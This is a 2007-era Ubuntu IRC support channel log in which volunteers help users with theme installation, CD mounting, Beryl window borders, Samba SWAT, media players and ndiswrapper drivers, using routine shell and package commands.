[08:06] <ferronica> pibarnas:  Okay :)
[08:06] <cables> captstevenhiller, why is it a folder?
[08:06] <pibarnas> ferronica could you open a terminal?
[08:07] <ferronica> pibarnas:  Offcourse :)
[08:07] <erichj> os1ris: the cdrom is usually set as automount by default so you should only have to insert a cd
[08:07] <Exploit> ok ricky ill try now....let u know..thankx
[08:07] <os1ris> now how would i mount in cli :)) on server edition
[08:07] <ferronica> pibarnas:  Yes
[08:07] <cables> captstevenhiller, gtk themes are usually packed in .tar.gz files, you shouldn't unpack them...
[08:07] <os1ris> or where would the dir be
[08:07] <pibarnas> ferronica let's go then, open one and put it:
[08:07] <pibarnas> cd Desktop
[08:07] <RoundyT1> ?
[08:07] <rickyfingers> Exploit: no problema
[08:07] <RoundyT1> ?
[08:07] <RoundyT1> sorry
[08:07] <os1ris> im in ubuntu server no x
[08:07] <pibarnas> ferronica cd Desktop (pull enter)
[08:07] <ferronica> pibarnas:  what to put that theme
[08:08] <pibarnas> have you done that?
[08:08] <Athensman> stil choppy
[08:08] <Exploit> ricky there r 2 files.... rp-pppoe-3.8.tar.gz 	,GPG Signature which 1 is to install & what command to install?
[08:08] <pibarnas> ferronica the theme aren't on Desktop anymore?
[08:08] <ferronica> pibarnas:  done
[08:08] <pibarnas> ferronica can u see it there?
[08:08] <captstevenhiller> cables: should i paste the compressed file ?
[08:09] <ddonky> haha 4/20/07
[08:09] <cables> captstevenhiller, what are you trying to do here?
[08:09] <CharlieSu> captstevenhiller: pastebin
[08:09] <ferronica> pibarnas:  i back drag it on desktop
[08:09] <Exploit> is sh ill work?
[08:09] <cables> captstevenhiller, lemme check something
[08:09] <pibarnas> okay
[08:09] <erichj> os1ris: cd /mnt see if its listed
[08:09] <Athensman> cables it is still choppy
[08:09] <pibarnas> ferronica now:
[08:09] <doseryder> I have sshd running and there are users connected to my box.  How can I find out who is connected and perhaps control/manage these connections?
[08:09] <os1ris> nope no dirs listed in /mnt
[08:09] <pibarnas> mv Buuf_gnome_1_6_r4_by_djany.6-r4_tar_bz2 ~/.icons
[08:09] <os1ris> or /cdrom
[08:09] <cables> captstevenhiller, never mind, don't put the compressed in there. Put the folder there, using my command
[08:09] <pibarnas> enter again, okay?
[08:10] <cables> Athensman, no idea how to fix it.
[08:10] <Athensman> geez that is it  uh
[08:10] <captstevenhiller> cables: "crash@crash-desktop:~/themes/Aero/gtk$ sudo cp /home/crash/themes/Aero/ /usr/share/themes/Aero
[08:10] <captstevenhiller> cp: omitting directory `/home/crash/themes/Aero/'" <- i keep getting that error message
[08:10] <ferronica> pibarnas:  i  dragged and dropped from Icon to desktop
[08:10] <pibarnas> ferronica sorry, ferronica, I do see now what's worng...
[08:10] <erichj> os1ris: try cd /dev/cdrom
[08:11] <cables> captstevenhiller, I sent you a new command... sudo cp /home/crash/themes/Aero/* /usr/share/themes/Aero/
[08:11] <pibarnas> ferronica move it back to ~/.icons, as I said to u.
[08:11] <ferronica> pibarnas:  okay
[08:11] <os1ris> nope didnt work
[08:11] <erichj> os1ris: or type mount and see where it is listed
[08:11] <pibarnas> ferronica I don't know where was that icon creator mind...
[08:11] <ferronica> pibarnas:  now it is not in desktop
[08:12] <Athensman> is there any settings in vlc that can maybe help it
[08:12] <pibarnas> ferronica it's on ~/.icons, isn't it?
[08:12] <captstevenhiller> cables: crash@crash-desktop:~$ sudo cp /home/crash/themes/Aero/* /usr/share/themes/Aero/
[08:12] <captstevenhiller> cp: target `/usr/share/themes/Aero/' is not a directory: No such file or directory
[08:12] <cables> captstevenhiller, hold on
[08:12] <pibarnas> ferronica go there on nautilus and rename the archive...
[08:13] <os1ris> nope not mounted...s o how would i mount it  :))
[08:13] <cables> captstevenhiller, sudo mkdir /usr/share/themes/Aero/ && sudo cp /home/crash/themes/Aero/* /usr/share/themes/Aero/
[08:13] <eshaase> how do i downgrade from firefox 2.0 to 1.5? firefox 2.0 is using way too much of my CPU...
[08:13] <decalog> re all
[08:13] <epi> Guys, if im on ubuntu 6.10, does that mean solaris nvidia graphics drivers will work for me?
[08:13] <cables> captstevenhiller, it takes you a while between each command... you know you can paste into the terminal with ctrl-shift-v?
[08:13] <cables> epi, what about solaris
[08:13] <cables> ?
[08:13] <pibarnas> ferronica from Buuf_gnome_1_6_r4_by_djany.6-r4_tar_bz2 to Buuf_gnome_1_6_r4_by_djany.6-r4.tar.bz2 (pay attention to the end of the file). You will substitute underscore to dots...
[08:13] <erichj> os1ris: i'm going to assume it's in fstab but not mounted so type sudo mount -a
[08:13] <linux_user400354> can someone help me with sharing an internet connection?
[08:13] <cables> epi, there are nvidia drivers for Linux...
[08:14] <decalog> i have no edges on windows how do i bring back the edges?
[08:14] <epi> Yah, but differant distros.
[08:14] <pibarnas> ferronica now I think you'll be able to extract it.
[08:14] <cables> decalog, did anything cause that to happen?  Were you setting up beryl/compiz or something?
[08:14] <MasseR> epi: They will work
[08:14] <epi> Solaris, freebsd, linux 64...
[08:14] <CharlieSu> epi: err..
[08:14] <linux_user400354> can someone help me with sharing an internet connection?
[08:14] <epi> Which one do I take?
[08:14] <decalog> yeap
[08:14] <billy> decalog:  working with beryl?
[08:14] <decalog> i have beryl
[08:14] <cables> !repeat | linux_user400354
[08:14] <ubotu> linux_user400354: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[08:14] <MasseR> epi: Why not sudo apt-get install nvidia-glx ?
[08:14] <dumezil> is there a way to display the hostnames, etc cached on my computer?  when i do a netstat -a, the name it returns for my ip address is one that i have no idea what it is.  i want to figure out why my computer is returning this name...
[08:14] <cables> epi, please follow this guide:
[08:15] <cables> !nvidia | epi
[08:15] <ubotu> epi: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[08:15] <Athensman> whats the best tv tuner apllication?
[08:15] <epi> Ah cool cool
[08:15] <pibarnas> epi I don't think so, pal.
[08:15] <arcade> What will the next LTS version of Ubuntu be? :)
[08:15] <erichj> 7.04
[08:15] <eshaase> how do i downgrade from firefox 2.0 to 1.5? firefox 2.0 is using way too much of my CPU...
[08:15] <erichj> or wait
[08:15] <billy> decalog:  did you have edges at one point and then lose them?
[08:15] <cables> erichj, no!
[08:15] <erichj> no idea
[08:15] <decalog> nope
[08:15] <ferronica> pibarnas:  where to extract same directory
[08:15] <nexus> hey all i just have what question
[08:15] <erichj> 6.10 still has a few years
[08:15] <cables> arcade, I'm not sure, but not 7.04
[08:15] <erichj> so who knows
[08:15] <captstevenhiller> cables: http://pastebin.ca/407671 i still got errors
[08:15] <nexus> what version of gnome does 6.10 come with?
[08:15] <arcade> cables: :-/  Okay. :)
[08:15] <decalog> don't have them al all
[08:16] <erichj> 2.16
[08:16] <Athensman> whats the best tv tuner apllication?
[08:16] <epi> Total noob at linux :P Just started last night.
[08:16] <pibarnas> ferronica yep ~/.icons
[08:16] <billy> decalog: is your window manager set to beryl?
[08:16] <arcade> 6.06 certainly have a few years more, but I wonder when another LTS version will be out. :)  Much nicer to have long time support than having to upgrade/reinstall every half year ;)
[08:16] <ferronica> pibarnas:  ok
[08:16] <cables> captstevenhiller, I'm not sure... try this: alt-f2, then gksudo nautilus, then drag the folder. See if that works
[08:16] <MasseR> Athensman: Mythtv? I do not know, but I think that could be what you are looking for
[08:16] <decalog> it says that it can't work
[08:16] <nexus> ok if it is not minded, i woudl like to ask, what i would look for as far as if i wanted to d/l new themes. d/l from which section on gnom-loog
[08:16] <pibarnas> ferronica extracted? go to system>preferences>theme
[08:16] <decalog> "the windows manager
[08:16] <billy> decalog: the plot thickens.
[08:17] <erichj> os1ris: how is it going?
[08:17] <pibarnas> ferronica theme details
[08:17] <ferronica> pibarnas:  yes
[08:17] <pibarnas> ferronica icons
[08:17] <decalog> ....?
[08:17] <pibarnas> it must be there.
[08:17] <pibarnas> ferronica is it there?
[08:18] <billy> decalog:  are you familiar with a terminal?
[08:18] <billy> test
[08:18] <arshad> hi
[08:18] <decalog> not realy
[08:18] <decalog> but i can try
[08:18] <ferronica> pibarnas:  Yes it is there :)
[08:18] <pibarnas> ferronica report.
[08:18] <Athensman> how do i join another channel on here
[08:18] <cables> Athensman, /join #channelname
[08:18] <ferronica> pibarnas:  Theme is not so good
[08:18] <captstevenhiller> cables: totally worked, thanks
[08:18] <cables> captstevenhiller, cool
[08:18] <billy> decalog: click Applications > Accessories > Terminal.  oh yeah.  try to type my name somewhere in your response so i'll see it. :D
[08:18] <arshad> could anyone help me somehow setup my ubuntu right now so that it shuts down automatically after the downloads are done?
[08:18] <pibarnas> ferronica now, send me the link you've downloaded... I'd like to get it too! :)
[08:18] <ferronica> pibarnas:  Is there any other good theme for ICON
[08:19] <Athensman> hmmm
[08:19] <Athensman> nope that didnt work
[08:19] <Athensman> i am on xchat
[08:19] <ferronica> pibarnas:  http://gnome-look.org/index.php?xsortmode=down&page=0
[08:19] <pibarnas> ferronica too much! tango's good one
[08:19] <Jimmy> erichj,  I get this -> Firefox can't establish a connection to the server at localhost:901.
[08:19] <pibarnas> ferronica got a lool on www.gnome-look.org?
[08:19] <decalog> ok billy
[08:19] <arshad> anyone???
[08:19] <arshad> plz?!
[08:20] <Athensman> how do i join another channel on here xchat
[08:20] <billy> decalog: type `xglinfo | grep direct` into the terminal and press enter.
[08:20] <epi> Umm...noob question, I just unrestricted the copyright thing in the synaptic update device, are the updates it shows ALL workable with my computer? They only seem to be showing components I have.
[08:20] <rickyfingers> Jimmy: are you sure the web server is listening to 901? you can tell by doing telnet <server address> 901
[08:20] <shnastybiznastic> si there some reccommended way to abstract a cifs share to a point in the filesystem without resorting to good ol' smbmount?
[08:20] <rickyfingers> Jimmy: if it just hangs, then you know nobody's listening to 901
[08:21] <decalog> it seams that is blocked
[08:21] <StevenX> can someone help me getting ubuntu live cd to start up on my laptop? It works on my desktop, but not my laptop.
[08:21] <shnastybiznastic> Athensman: type /join <yourchannelhere>
[08:21] <Jimmy> rickyfingers,  isn't SWAT (web-based tool for Samba) default port = 901 ?
[08:21] <ferronica> pibarnas:  which one tango generator
[08:21] <decalog> it show's only a white square
[08:21] <billy> decalog:  have you done any editing of a file called xorg.conf ?
[08:21] <pibarnas> ferronica I don't know, but I think it's not a icon theme...
[08:21] <arshad> would anyone plz help me?
[08:22] <decalog> probably when i installed beryl
[08:22] <anirudha> Does anyone here like Mac computers?
[08:22] <arshad> i do
[08:22] <RoundyT1> Mac's are ok.
[08:22] <variant> anirudha: yeah they are nice with ubuntu installed
[08:22] <arshad> i'm a mac user
[08:22] <RoundyT1> but nothing compared to linux
[08:22] <Athensman> whats the best tv tuner apllication?
[08:22] <ferronica> pibarnas:  Tell me good one Theme?????
[08:22] <billy> decalog: what howto did you use?  can you give me the link?
[08:22] <nexus> hey guys on gnome-look if i want to new theme do i d/l gtk2.0 themes? i am a it lost on this one
[08:22] <anirudha> variant, haha lol
[08:22] <erichj> macs are ok but at the end of the day....you are using a mac
[08:22] <os1ris> arrg cant get cd to mount... im just looking for an easy way to set up nids wrapper but need drivers.. should i use the ones on cd-rom or just download them
[08:22] <decalog> kinda hard for me
[08:22] <decalog> :)
[08:22] <variant> anirudha: http://www.youtube.com/watch?v=8LAXg_UmzTY&mode=related&search=
[08:22] <MatthewV> StevenX, any error message?
[08:22] <decalog> but i can try to look
[08:23] <RoundyT1> seems as though no one likes Beryl.
[08:23] <pibarnas> ferronica Osx_mod's a good one, but I think it's a sense of taste...
[08:23] <nexus> RoundyT1: i liek it actually
[08:23] <arrenlex> nexus: gtk2 is the buttons, windows, etc. metacity is the titlebars and _OX buttons.
[08:23] <erichj> os1ris: download
[08:23] <Jimmy> rickyfingers, I'm trying to view swat
[08:23] <Athensman> does xubuntu use .gz files
[08:23] <variant> RoundyT1: I like beryl.. what gives you that idea?
[08:23] <billy> decalog: crtl+h in firefox.  Look through your history.
[08:23] <arshad> so anyone help plz
[08:23] <Jimmy> Athensman,  yup, iirc
[08:23] <rickyfingers> Jimmy: that may be so, all I'm offering is a sanity check to make sure that the problem is simply because your web server is not listening on 901.  Are you using swat with apache?
[08:23] <RoundyT1> everyone is always talking about Gnome Themes
[08:23] <nexus> arrenlex: thank you
[08:23] <pibarnas> ferronica I like buuf, for example.
[08:23] <arrenlex> Athensman: .gz files are just archives, like .zip
[08:23] <variant> Athensman: it uses the same packages as ubuntu/kubuntu
[08:23] <os1ris> so i can download them on my server box and get if from there
[08:23] <os1ris> confused.. even if its an exe
[08:23] <Athensman> well how do u install them then
[08:23] <marx2k_> I would like beryl more if it was less buggy... there are at least 1 instance during the day where I have to turn it off to get something done
[08:23] <RoundyT1> I have emerald ... is hildor or whatever it's called better?
[08:23] <anirudha> Has anyone tried the new Sun OS, Sun OS 10? If so, is it much better now without the CDE?
[08:23] <variant> Athensman: but as arrenlex says, thats just an archive format
[08:23] <Jimmy> rickyfingers, yes swat with apache WITH APACHE2 too.
[08:23] <variant> anirudha: you mean solaris?
[08:23] <arrenlex> Athensman: What are you trying t install?
[08:24] <Athensman> tvtime
[08:24] <anirudha> variant, yes
[08:24] <chowmeined> avahi-daemon wont start, if I run the init script it seems like it doesn't do anything
[08:24] <nexus> RoundyT1: i do not knwo i just started messing with Emerald, i also liked looking glass
[08:24] <arrenlex> marx2k_: Try compiz, I'm told it's more stable.
[08:24] <decalog> billy i think that i will reinstal ubuntu and then beryl again
[08:24] <Athensman> do i extract them into a folder
[08:24] <winding> help
[08:24] <marx2k_> eh... eye candy is eye candy... either way I have it off most of the time
[08:24] <arrenlex> Athensman: What are you trying to install?
[08:24] <billy> decalog: naw.  don't do that yet.
[08:24] <decalog> couse i cant uninstal beryl
[08:24] <Athensman> tvtime
[08:24] <nexus> brb
[08:24] <ferronica> pibarnas:  Ok let me download it
[08:24] <pibarnas> ferronica http://gnome-look.org/index.php?xcontentmode=120 play with them.
[08:24] <arrenlex> Athensman: That's in the repositories. You don't need to compile it.
[08:25] <variant> marx2k_: try updating to the latest version, still have issues with playing video on some chipsets though. afaik compiz has that issue too
[08:25] <arrenlex> !teatime | Athensman
[08:25] <ubotu> athensman: teatime: Gnome Panel applet to reminds you when your tea is ready. In component universe, is optional. Version 2.4-2.1 (edgy), package size 396 kB, installed size 624 kB
[08:25] <RoundyT1> I can only get the SVN version of beryl (unstable bleeding edge) with my ati card.
[08:25] <decalog> ok billy so what's to do?
[08:25] <marx2k_> variant: Im using cvs version
[08:25] <shnastybiznastic> perhaps someone knows where in the filesystem smb/cifs shares abstract to when you "Connect to Server..."
[08:25] <Athensman> i dont understand
[08:25] <MatthewV> nexus, RoundyT1 Emerald is just a window decorator for beryl
[08:25] <berl_> hello. do you guys know of a way to set a proxy only for a specific app? amarok in this case.
[08:25] <RoundyT1> well, ya.
[08:25] <ferronica> pibarnas:  How to install same as previous?????
[08:25] <variant> marx2k_: ok, that could also be a reason (cvs == less stable not more)
[08:25] <anirudha> Hey everyone, I have a friend who dual boots Windows Vista and Mac OS on his Macbook? What do you think of that?
[08:25] <pibarnas> ferronica yep.
[08:25] <variant> anirudha: we don't care
[08:25] <MatthewV> berl_, why do you need to set the proxy just for a specific app?
[08:25] <billy> decalog: do you have a red diamond in the system tray?
[08:25] <erichj> anirudha: your friend get kicked in the head?
[08:25] <arrenlex> Athensman: Ubuntu keeps like 30000 programs compiled for an ubuntu system which you can just install.
[08:26] <decalog> yes
[08:26] <RoundyT1> anirudha, vista is a problem, mac is ok.
[08:26] <arrenlex> Athensman: If software you want is not in this repository, THEN you have to compile it from source.
[08:26] <Jimmy> rickyfingers, anything else?
[08:26] <decalog> billy: yeah
[08:26] <ravehanker> I'm upgrading to feisty and dpkg falis when when trying to install kde-style-polyester_1.0-1ubuntu1_i386.deb (I also have kde installed) with the following error message :  trying to overwrite `/usr/lib/kde3/kwin_polyester_config.so', which is also in package polyester
[08:26] <ravehanker> dpkg-deb: subprocess paste killed by signal (Broken pipe)
[08:26] <RoundyT1> i really have nothing against Mac...
[08:26] <Athensman> how do i do that
[08:26] <billy> decalog:  right click it > select window manager > metacity
[08:26] <RoundyT1> but vista....i hate.
[08:26] <arrenlex> Athensman: Since teatime is in the ubuntu repositories, you shouldn't be messing around with .gz files.
[08:26] <bicycledaave> howto start network-manager? I install the package but donno how to start it
[08:26] <arrenlex> !synaptic | Athensman
[08:26] <ubotu> Athensman: synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto
[08:26] <ferronica> pibarnas:  what is that text to type
[08:26] <ferronica> icon
[08:26] <Athensman> NO NO
[08:26] <Athensman> not teatime
[08:26] <Athensman> TVTIME
[08:26] <rickyfingers> Jimmy: then check /etc/apache2/ports.conf - if apache's not configured to listen to 901, that's why you're getting the error
[08:26] <arrenlex> !tvtime
[08:26] <ubotu> tvtime: A high quality television application. In component universe, is optional. Version 1.0.1-2.2ubuntu1 (edgy), package size 636 kB, installed size 1768 kB
[08:26] <arrenlex> Athensman: That's there too.
[08:27] <Athensman> where
[08:27] <pibarnas> ferronica control+l
[08:27] <arrenlex> !synaptic | Athensman
[08:27] <ubotu> Athensman: synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto
[08:27] <ferronica> pibarnas: ~icon
[08:27] <MatthewV> bicycledaave, press alt-f2 then enter 'nmapplet' iirc
[08:27] <erichj> Athensman: sudo apt-get install tvtime
[08:27] <decalog> ok billy
[08:27] <pibarnas> ferronica nope. ---> ~/.icons
[08:27] <Athensman> what is that
[08:27] <decalog> now..
[08:27] <billy> decalog: did you get your borders back?
[08:27] <decalog> yeap
[08:27] <erichj> Athensman: open a terminal and type that
[08:27] <billy> decalog: cool.
[08:27] <pibarnas> ferronica Don't forget about the dot!
[08:27] <berl_> MatthewV, i want to use the wikipedia function of amarok. being in china right now makes it necessary to use a proxy for that.
[08:27] <billy> decalog: have you found that howto you used?
[08:27] <decalog> but in this way i don't have the cool stuff of Beryl
[08:28] <bicycledaave> MatthewV:thanks
[08:28] <MatthewV> berl_, ah, and other apps dont need to use that specific proxy? if i get you right?
[08:28] <arrenlex> berl_: Well why the heck are you in china then? Get out of there.
[08:28] <rickyfingers> Jimmy: when you get an error message like that, there's only three possibilities I can imagine: 1) server's not running, 2) server's listening to the wrong port, 3) network connectivity issue
[08:28] <billy> decalog: well, if direct rendering is blocked, it may not work anyway.  you gotta figure out why it ain't workin for you.
[08:28] <jmg> hey guys when i remove the panels from my second display and restart gnome the panels come back. how can i disable them permanently?
[08:28] <arrenlex> rickyfingers: 4) server on fire
[08:28] <ferronica> pibarnas: okay
[08:28] <RoundyT1> Hey, if i have a VPN, can i connect to the VPN and use the INTERNAL IP of the Linux (Debian) Box and ssh from term ...and get in?
[08:29] <decalog> thx a lot billy
[08:29] <chowmeined> avahi-daemon is broken
[08:29] <os1ris> ok question i got the drivers from the belkin website(trying to set up ndis wrapper ) but its an exe.. no way to extract this thing.... so i need to do it on my windows box and then send it to my box from there.. correct?
[08:29] <rickyfingers> arrenlex: 5) universe is ending and laws of physics are breaking down
[08:29] <chowmeined> The init script isn't doing anything
[08:29] <os1ris> (drivers
[08:29] <os1ris> )
[08:29] <arrenlex> rickyfingers: 6) Your mom.
[08:29] <billy> decalog:  try something for me.
[08:29] <linux_user400354> how can i bridge internet connections in ubuntu?
[08:29] <berl_> well, usually i don't encounter many problems, so i dont need to route everything through a proxy. if i have to i usually connect to my uni's vpn. but that's not very practical when it's only to play with amarok.
[08:29] <rickyfingers> arrenlex: lol - eh don't talk about my mother!
[08:29] <arrenlex> Ehehehee
[08:29] <decalog> bill ok
[08:29] <RoundyT1> what is normally used to VPN via Ubuntu???
[08:30] <Athensman> damn what now
[08:30] <os1ris> is that correct?
[08:30] <decalog> what billy?
[08:30] <Athensman> i click on it and it goes black and then nothing
[08:30] <os1ris> use sll :))
[08:30] <os1ris> er ssl
[08:30] <arrenlex> Athensman: You click on what and what goes black?
[08:30] <anirudha> Hi Everyone, On Linux what is an equivalent of Windows Media Player. I have tried both Movie Player and Helix Player in the past but sometimes neither plays a video clip on a website which usually plays with Windows Media Player?
[08:30] <Athensman> tvtime
[08:30] <Athensman> i downloaded it
[08:30] <billy> decalog: hit alt+f2 and type "emerald --replace" into the little box that appears.  that's a run command box.  you can run single commands (like starting a specific program) by pressing alt+f2.
[08:30] <MatthewV> berl_, hmm... not too sure then, if the app itself doesnt have any specific proxy settings....
[08:30] <arrenlex> anirudha: mplayer
[08:30] <rickyfingers> RoundyT1: openswan but it it's for the manic...configuration was not possible for my small brain to handle
[08:31] <arrenlex> anirudha: vlc. totem.
[08:31] <arrenlex> anirudha: kaffeine
[08:31] <Athensman> how do i know if it sees my tv tuner card
[08:31] <MatthewV> anirudha, have you had a look at !RestrictedFormats
[08:31] <Jimmy> rickyfingers, I've configured the ports.conf , typed in Listen 901 .. save it, restarted apache webserver, and it's still giving me same error
[08:31] <anirudha> arrenlex, Is MPlayer the same as Movie Player?
[08:31] <shnastybiznastic> okay, this is somewhat frustrating, when I click on the properties of the smb share I mounted, it says the location is "on the desktop", but when I try to browse to it, it's not in /home/username/Desktop
[08:31] <bicycledaave> la
[08:31] <arrenlex> anirudha: I dunno. What's Movie Player?
[08:31] <berl_> MatthewV, that's the problem. it doesn't have that option. ok, i guess I have to head over to #amarok .:) thanks guys
[08:31] <anirudha> arrenlex, Well Movie Player came with my Ubuntu installation
[08:31] <decalog> ok
[08:31] <MatthewV> shnastybiznastic, the link will just be on the desktop, the actual share will be wherever you mounted it to
[08:32] <arrenlex> anirudha: That's probably totem.
[08:32] <decalog> now what?
[08:32] <MatthewV> berl_, yeh good luck :)
[08:32] <variant> anirudha: movie player is totem
[08:32] <billy> decalog: did you lose your borders?
[08:32] <rickyfingers> Jimmy: what about basic network connectivity? Can you ping the box that's hosting SWAT?
[08:32] <Athensman> how do i know if it sees my tv tuner card
[08:32] <decalog> no
[08:32] <variant> anirudha: you should try vlc and the firefox vlc plugin.. tends to play everything except anything with drm infections
[08:32] <decalog> same ....
[08:32] <billy> decalog: alt+f2 again.  type "beryl" and hit enter.
[08:32] <decalog> i think that i need to reinstall all
[08:32] <arrenlex> anirudha: Or else mplayer and mplayerplug-in, which also plays anything.
[08:33] <variant> decalog: isntall beryl-manager
[08:33] <billy> decalog: naw man.
[08:33] <variant> decalog: and run that
[08:33] <bicycledaave> hi, the network-manage still  find the wireless card, it cant see the ath device,although lspci and lsmod show the hardware and the ath* modules. why?
[08:33] <shnastybiznastic> MatthewV: that's just the thing, I don't know where ubuntu mounted it to when I gave it the share and server names.  when I try and go up a level while I'm browsing it, it just boots me back to browsing the server that the share is on.
[08:33] <arrenlex> anirudha: Lots of choices in Linux. :)
[08:33] <Jimmy> rickyfingers,  this is the box that is hosting swat
[08:33] <variant> shnastybiznastic: type mount
[08:33] <MatthewV> shnastybiznastic, ah.. i thought you had manually mounted it with a 'sudo mount...' just a moment...
[08:33] <anirudha> variant, Do I need to install both vlc on ubuntu in general and install the vlc plugin for the firefox browser>
[08:33] <rickyfingers> Jimmy: and when you open http://localhost:901 you get nothing?
[08:33] <Athensman> how do i know if it sees my tv tuner card
[08:33] <arrenlex> anirudha: Yes
[08:34] <variant> anirudha: yes
[08:34] <billy> variant:  if he's got the red diamond, wouldn't that mean he's got beryl-manager?
[08:34] <arrenlex> anirudha: You should also remove the totem-mozilla package, otherwise Firefox will find it first and try to use totem anyway.
[08:34] <variant> billy: yes
[08:34] <Schalken> I've just made a folder shared with samba, but when I try to access it from another Windows computer it asks for a username and password, of which neither my Ubuntu or Windows username and password work. What are they?
[08:34] <lkthomas> guys, what program can I use to replace adobe illustrator ?
[08:34] <Jimmy> rickyfingers,  Unable to connect
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <variant> billy: it's an emerald :)
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <Jimmy> 
[08:34] <Jimmy> Firefox can't establish a connection to the server at localhost:901.
[08:34] <Jimmy> (sorry)
[08:34] <arrenlex> !pastebin
[08:34] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[08:34] <MatthewV> shnastybiznastic, not under /media ? iirc all that is handled through gnome-vfs so i'm not sure exactly how or if it is mounted to an actual location on the filesystem
[08:35] <rickyfingers> billy: variant: wanna see a cool beryl screen shot? here's one I posted to my web site: http://rootser.com/linux-ownage.png
[08:35] <decalog> there are no default settings for beryl?
[08:35] <billy> variant:  decalog shouldn't run install beryl-manager then, should he?
[08:35] <decalog> cose it seams that nothing work
[08:35] <MatthewV> lkthomas, Inkscape is a good vector graphics program..
[08:35] <variant> billy: nope
[08:35] <Schalken> !samba
[08:35] <ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[08:35] <Athensman> how do i know if it sees my tv tuner card
[08:35] <linux_user400354> how can i bridge internet connections in ubuntu?
[08:36] <billy> variant:  i think you may have gotten your usernames mixed up. :-)
[08:36] <linux_user400354> !bridge
[08:36] <ubotu> Sorry, I don't know anything about bridge - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:36] <variant> billy: what?
[08:36] <billy> decalog: remember how to get your borders back?
[08:36] <anirudha> arrenlex, how do I remove the totem package from firefox?
[08:36] <billy> variant: i don't know, man.  nevermind me.
[08:36] <Schalken> thanks ubotu!
[08:36] <decalog> or i'm stupid or i'm stupid
[08:36] <decalog> i can't do it
[08:36] <shnastybiznastic> MatthewV: hah, that would have been my first choice, but I'm trying to make the transition from slackware to ubuntu, so I decided to let the OS handle the details
[08:36] <Jimmy> rickyfingers,  can't msg you , cause my nick isn't registered, join #Jimmy plz.
[08:37] <billy> decalog:  just relax man.  don't start cutting.
[08:37] <shnastybiznastic> Schalken: you are a helpful person
[08:37] <decalog> i belive i can do it like a rednek just reinstall all
[08:37] <billy> decalog: right click Red Diamond (Emerald) > Select Window Manager > Metacity
[08:37] <os1ris> or sorry to be such a newb anyone installed ndis wrapper before.. getting fustrated.. the website gives an exe for my card.. where can u get just the drivers.. or how do i get them :(
[08:37] <MatthewV> shnastybiznastic, and the app you need to access the share doesnt support gnome-vfs?
[08:37] <Schalken> shnastybiznastic: wha?
[08:37] <linux_user400354> !brtcl
[08:37] <ubotu> Sorry, I don't know anything about brtcl - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:37] <linux_user400354> goddamit
[08:37] <arrenlex> anirudha: sudo apt-get remove mozilla-totem is the easy way. Or, go to edit-preferences-content-manage filetypes, find all the movie filetypes and manually change each (I suggest the first way)
[08:37] <decalog> ok man that worked
[08:38] <decalog> but i'm not in beryl any more
[08:38] <shnastybiznastic> Schalken: you made the bot talk about samba
[08:38] <eshaase> how do i downgrade from firefox 2.0 to 1.5? firefox 2.0 is using way too much of my CPU...
[08:38] <os1ris> anyone got any insignt ? to my problem
[08:38] <Athensman> anyone here have a tv tuner card
[08:38] <Schalken> shnastybiznastic: so I am helpful for helping myself?
[08:38] <billy> decalog:  in the chat window here, type "/join #ubuntu-effects".  I'll join you there.
[08:38] <shnastybiznastic> Schalken: well, it helped me too
[08:39] <Schalken> oh okay i didnt realise lol
[08:39] <decalog> k
[08:39] <Athensman> anyone here have a tv tuner card
[08:39] <arrenlex> eshaase: sudo apt-get install firefox/dapper
[08:39] <RoundyT1> what is normally used to VPN via Ubuntu....any other programs? maybe easier? does cisco make any linux packages lol?
[08:40] <shnastybiznastic> MatthewV: I was trying to use rythmbox to play my music, which is all on this samba share, but it would get a few thousand songs into the library building and die.  so I'm trying to use xmms
[08:40] <arrenlex> eshaase: You'll have to pin it to that version to hold it. I think this can be done in synaptic, though I don't use that application, or else ask ubotu about !pinning.
[08:40] <os1ris> or sorry to be such a newb anyone installed ndis wrapper before.. getting fustrated.. the website gives an exe for my card.. where can u get just the drivers.. or how do i get them :(
[08:40] <arrenlex> shnastybiznastic: What's wrong with Amarok? :)
[08:41] <niru> Is there somebody you is involved in developing ubuntu here
[08:41] <niru> I have some doubts
[08:41] <lkthomas> MatthewV, I am wondering why gimp don't support AI format
[08:41] <arrenlex> os1ris: the .inf file is in the exe. If you're lucky, you can extract this exe with unzip or cabextract. If you're unlucky, going to have to search for the .inf itself.
[08:41] <unimatrix9> hello every one!
[08:41] <niru> Is there somebody here involved in developing ubuntu here
[08:41] <shnastybiznastic> arrenlex: I was under the impression that amarok was a KDE application.  You'll have to forgive me if I'm mistaken, I've been in fluxbox country so long I'm a tad out of touch.
[08:41] <pibarnas> folks, is it possible to get a resolution higher than 1024x768 on Acer TravelMate 4101WLMi?
[08:41] <MatthewV> lkthomas, AI is a vector graphics format right? the gimp is a bitmap editor
[08:41] <MatthewV> pibarnas, what graphics card does it have?
[08:42] <unimatrix9> how could i make more then one deb file to be installed at once?
[08:42] <pibarnas> MatthewV Intel.
[08:42] <rredd4> os1ris   https://help.ubuntu.com/community/WifiDocs/Driver/Ndiswrapper
[08:42] <lkthomas> MatthewV, hmm
[08:42] <arrenlex> shnastybiznastic: It is a KDE application, but it's the best player there is, and it doesn't require very many KDE libs to run. A lot of people use k3b and amarok, even on gnome, because they're the best players in their field.
[08:42] <epi> Guys...just tried to install Flash :s got this message. ERROR: Your architecture, \'x86_64\', is not supported by the
[08:42] <epi>        Adobe Flash Player installer.  Im on damn 6.10! lol.
[08:42] <lkthomas> MatthewV, so the most popular replacement is inkscape ?
[08:42] <eshaase> arrenlex: ok, thanks!
